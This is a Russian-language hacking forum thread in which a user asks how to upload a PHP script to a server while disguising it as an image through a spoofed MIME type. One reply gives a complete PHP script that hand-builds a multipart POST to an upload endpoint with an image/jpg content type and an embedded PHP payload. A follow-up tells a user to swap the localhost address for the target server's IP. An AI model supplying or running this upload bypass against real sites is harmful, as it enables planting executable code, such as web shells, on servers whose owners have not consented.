MIME-type подмена

Discussion in 'Песочница' started by sashap88, 19 Jul 2017.

  1. sashap88

    sashap88 New Member

    Joined:
    19 Jul 2017
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Доброго времени еще раз
    Читаю тут
    https://myrusakov.ru/php-loadserver-security.html
    И фактически, злоумышленник может поставить любой MIME-type (и картинки тоже), но при этом отсылать PHP-скрипт

    Был бы благодарен как это сделать,за инфу.Рыл,ничего не нарыл
     
  2. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    829
    Likes Received:
    815
    Reputations:
    90
    _________________________
    sashap88 likes this.
  3. randomword0x3f52

    Joined:
    15 Oct 2016
    Messages:
    30
    Likes Received:
    25
    Reputations:
    9
    Code:
    <?php
    
    $source = <<< HEREDOC
    <?php
    	phpinfo();
    HEREDOC;
    
    $filename = "filename.jpg";
    
    $content =
    	 "------WebKitFormBoundarysZFBtnPKoYVUcMnN\r\n"
    	."Content-Disposition: form-data; name=\"somename\"; filename=\"{$filename}\"\r\n"
    	."Content-Type: image/jpg\r\n"
    	."\r\n"
    	."{$source}\r\n"
    	."------WebKitFormBoundarysZFBtnPKoYVUcMnN--\r\n";
    
    $url = '/upload.php';
    $host = 'localhost';
    $length = strlen( $content );
    
    $request = 
    	 "POST {$url} HTTP/1.1\r\n"
    	."Host: {$host}\r\n"
    	."Content-Length: {$length}\r\n"
    	."Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysZFBtnPKoYVUcMnN\r\n"
    	."\r\n"
    	.$content;
    
    $resource = stream_socket_client( "tcp://127.0.0.1:80", $errno, $errstr, 30 );
    if( !is_resource( $resource ) )
    	trigger_error( "can't open connect becouse {$errstr}", E_USER_ERROR );
    
    fwrite( $resource, $request );
    	while( true )
    		{
    		$string = fread( $resource, 65535 );
    		echo( $string );
    		if( is_int( strpos( $string, "\r\n\r\n" ) ) ) break;
    		}
    fclose( $resource );
    
     
    BillyBons likes this.
  4. mrliss

    mrliss New Member

    Joined:
    30 Jul 2017
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Как это использовать?
     
  5. randomword0x3f52

    Joined:
    15 Oct 2016
    Messages:
    30
    Likes Received:
    25
    Reputations:
    9
    Изменить значения переменных, а в url с 127.0.0.1 заменить на ip сервера. Если с этим есть проблемы, то попросить программиста переписать концепт в утилиту.